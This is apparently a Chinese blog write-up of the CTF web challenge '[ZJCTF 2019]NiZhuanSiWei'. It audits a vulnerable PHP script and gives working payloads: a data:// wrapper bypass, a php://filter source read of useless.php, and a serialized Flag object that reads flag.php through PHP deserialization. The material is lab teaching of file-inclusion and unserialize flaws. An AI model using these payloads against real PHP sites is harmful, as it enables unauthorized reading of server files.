[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

目录

[ZJCTF 2019]NiZhuanSiWei

 题目:buu上的web题目,链接

解题过程:

第一层绕过:

第二层绕过:

第三层绕过:

 最终的payload:

相关链接:


 题目:buu上的web题目,链接

题目:这个题目跟文件包含漏洞关联很大,通过这个题目,再巩固一下文件包含漏洞。

解题过程:

打开题目后,代码审计

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

第一层绕过:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

 要求我们传入一个text文件,内容为welcome to the zjctf,才能继续后面的步骤

 先了解一下file_get_contents()函数,函数内容来源于网络

可以用php://input伪协议以POST传参'welcome to the zjctf '

也可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下

?text=data://text/plain,welcome to the zjctf

 当然,保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传,不然可能会过滤(不过本题没有过滤)

编码后的传参

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

 回显:

第二层绕过:

    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

回显:

第三层绕过:

将base64编码进行解码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

在本地进行序列化操作,

<?php

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

序列化之后:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 最终的payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

回显:

 

查看f12得到flag.


相关链接:

1.文件包含漏洞

2.原理篇——文件包含漏洞

 

 

 

  • 25
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 13
    评论
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值